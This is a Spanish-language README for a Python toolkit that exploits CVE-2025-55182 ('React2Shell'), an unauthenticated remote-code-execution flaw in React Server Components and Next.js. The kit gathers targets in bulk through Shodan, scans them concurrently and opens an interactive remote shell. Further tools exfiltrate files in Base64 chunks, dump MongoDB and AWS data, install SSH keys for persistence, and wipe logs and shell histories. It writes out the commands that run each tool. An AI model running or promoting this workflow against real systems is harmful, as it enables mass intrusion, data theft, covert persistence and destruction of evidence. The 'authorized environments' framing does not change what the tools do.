
Kit de herramientas para CVE-2025-55182, también conocido como React2Shell.
Un kit de herramientas en Python para validar e investigar CVE-2025-55182, también conocido como React2Shell, en entornos autorizados. La vulnerabilidad afecta a los React Server Components y puede exponer aplicaciones construidas con frameworks como Next.js a ejecución remota de código no autenticada. El kit combina recolección de objetivos, validación masiva, un shell de prueba interactivo, enumeración de hosts y utilidades opcionales de post-validación.
hosts_scanner.py ejecuta solo un marcador fijo
echo VULN_TEST durante la detección masivaEste repositorio es una ayuda de evaluación, no un sustituto de la revisión del aviso oficial y la aplicación de parches del proveedor.
| Herramienta | Propósito | Salida o efecto |
|---|---|---|
shodan_parser.py | Abre búsquedas autenticadas de Shodan desde una lista de consultas y recolecta orígenes HTTP(S) normalizados. | Añade hosts únicos a files/targets.txt. |
hosts_scanner.py | Verifica concurrentemente una lista de objetivos con un comando fijo VULN_TEST. | Escribe los objetivos confirmados en files/vulnerable.txt y los objetivos fallidos en files/trash.txt. |
exploit.py | Revalida un objetivo y proporciona una sesión de comandos interactiva. | Imprime la salida de comandos remotos en la terminal. |
universal_scanner.py | Recolecta información del sistema, contenedores, red, sistema de archivos, procesos, exposición de credenciales y riesgo de privilegios. | Guarda hallazgos detallados en scan_results.json. |
infrastructure/universal_download.py | Transfiere un archivo remoto a través del canal de comandos en fragmentos Base64 reanudables. | Crea o reanuda un archivo local y verifica su tamaño. |
infrastructure/mongo_proxy.py | Usa el host validado como ruta de red para inventario de MongoDB y muestreo limitado. | Lista bases de datos, colecciones, recuentos y una pequeña muestra. |
infrastructure/mongo_dump.py | Exporta una base de datos de MongoDB o todas las bases de datos no del sistema con un límite por colección. | Crea un archivo JSON en /tmp del host evaluado. |
infrastructure/aws_dump.py | Inventaría los recursos de AWS disponibles para un rol de tarea de ECS. | Crea un archivo JSON en /tmp; puede incluir valores sensibles. |
infrastructure/install_ssh_key.py | Añade una clave pública al authorized_keys del usuario remoto actual. | Modifica la configuración SSH remota y establece persistencia. |
infrastructure/trace_cleaner.py | Elimina artefactos del kit e intenta limpiar historiales, cachés y registros. | Modifica destructivamente archivos remotos; úselo solo durante un ejercicio de limpieza aprobado. |
Las herramientas dependientes de RCE esperan un objetivo similar a Linux con utilidades de shell comunes. Algunos ayudantes de infraestructura además esperan que Node.js y los paquetes npm relevantes ya estén disponibles en el host evaluado.
shodan_parser.pypython -m venv .venv
Active el entorno:
# Linux o macOS
source .venv/bin/activate
# Windows PowerShell
.\.venv\Scripts\Activate.ps1
Instale las dependencias:
python -m pip install -r requirements.txt
python -m playwright install chromium
Para la recolección de Shodan, copie .env.example a .env y establezca
LOGIN y PASSWORD. Nunca haga commit de .env.
files/queries.txt, o coloque
objetivos autorizados directamente en files/targets.txt.python shodan_parser.py.python hosts_scanner.py --file files/targets.txt --concurrency 50 --timeout 30
files/vulnerable.txt y verifique manualmente la propiedad y el
alcance antes de ejecutar cualquier herramienta de ejecución de comandos o
infraestructura.Para restablecer la lista de omisión del escáner:
python hosts_scanner.py --file files/targets.txt --clear-trash
python exploit.py https://target.example
python universal_scanner.py https://target.example
Utilidades de infraestructura:
python infrastructure/universal_download.py <TARGET> <REMOTE_PATH> [LOCAL_FILE] [CHUNK_SIZE]
python infrastructure/mongo_proxy.py <TARGET> <MONGODB_URI>
python infrastructure/mongo_dump.py <TARGET> <MONGODB_URI> <DATABASE|ALL> [OUTPUT_FILE] [LIMIT]
python infrastructure/aws_dump.py <TARGET> [OUTPUT_FILE]
python infrastructure/install_ssh_key.py <TARGET> [PUBLIC_KEY_PATH]
python infrastructure/trace_cleaner.py <TARGET>
Ejecute cada script sin argumentos para ver su ayuda completa de línea de comandos.
bash, base64, dd y
timeout.